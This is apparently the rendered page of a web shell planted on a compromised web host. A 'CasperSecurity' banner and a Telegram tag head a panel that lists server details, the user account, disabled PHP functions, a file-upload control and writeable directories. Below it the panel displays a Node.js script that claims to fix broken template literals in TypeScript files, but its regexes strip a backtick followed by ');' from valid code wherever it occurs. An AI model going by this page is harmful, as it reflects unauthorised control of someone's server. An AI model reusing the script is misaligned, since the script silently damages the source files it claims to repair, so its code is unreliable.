T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.quebec/public_html/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.quebec/public_html/scripts/fix-broken-templates.js
#!/usr/bin/env node

const fs = require('fs');
const path = require('path');

const targetDir = path.join(__dirname, '../src');
let fixedFiles = 0;
let totalFixes = 0;

function fixBrokenTemplates(filePath) {
  try {
    let content = fs.readFileSync(filePath, 'utf8');
    const originalContent = content;
    
    // Fix common broken template literal patterns
    const fixes = [
      // Fix `);` patterns
      { pattern: /`\);/, replacement: '' },
      { pattern: /`\s*\);/, replacement: '' },
      { pattern: /`\s*\)\s*;/, replacement: '' },
      
      // Fix ` : ''}`); patterns
      { pattern: /`\s*:\s*''\s*}\s*\)\s*;/, replacement: '' },
      { pattern: /`\s*:\s*''\s*}\s*\)\s*;/, replacement: '' },
      
      // Fix `ms`); patterns
      { pattern: /`\s*ms\s*\)\s*;/, replacement: '' },
      { pattern: /`\s*ms\s*\)\s*;/, replacement: '' },
      
      // Fix `, skipping`); patterns
      { pattern: /`\s*,\s*skipping\s*`\s*\)\s*;/, replacement: '' },
      
      // Fix `);` at end of lines
      { pattern: /`\s*\)\s*;\s*$/gm, replacement: '' },
      
      // Fix `);` with whitespace
      { pattern: /`\s*\)\s*;\s*\n/g, replacement: '\n' },
      
      // Fix `);` in middle of lines
      { pattern: /`\s*\)\s*;\s*/g, replacement: '' },
      
      // Fix broken console.log patterns
      { pattern: /`\s*\)\s*;\s*$/gm, replacement: '' },
      
      // Fix `);` followed by other code
      { pattern: /`\s*\)\s*;\s*([^`\n])/g, replacement: '$1' },
      
      // Fix `);` at start of lines
      { pattern: /^\s*`\s*\)\s*;\s*/gm, replacement: '' },
    ];
    
    let fileFixes = 0;
    fixes.forEach(fix => {
      const before = content;
      content = content.replace(fix.pattern, fix.replacement);
      if (content !== before) {
        fileFixes++;
      }
    });
    
    if (content !== originalContent) {
      fs.writeFileSync(filePath, content, 'utf8');
      console.log(`āœ… Fixed ${filePath.replace(path.join(__dirname, '../'), '')} (${fileFixes} fixes)`);
      fixedFiles++;
      totalFixes += fileFixes;
    }
    
    return fileFixes;
  } catch (error) {
    console.error(`āŒ Error fixing ${filePath}:`, error.message);
    return 0;
  }
}

function walkDir(dir) {
  const files = fs.readdirSync(dir);
  
  for (const file of files) {
    const filePath = path.join(dir, file);
    const stat = fs.statSync(filePath);
    
    if (stat.isDirectory()) {
      walkDir(filePath);
    } else if (file.endsWith('.ts') || file.endsWith('.tsx')) {
      fixBrokenTemplates(filePath);
    }
  }
}

console.log('šŸ”§ Starting comprehensive template literal fix...');
console.log('šŸ“ Scanning directory:', targetDir);

walkDir(targetDir);

console.log('\nšŸ“Š Fix Summary:');
console.log(`   Files fixed: ${fixedFiles}`);
console.log(`   Total fixes: ${totalFixes}`);
console.log('\nāœ… Template literal fixes complete!');

CasperSecurity Mini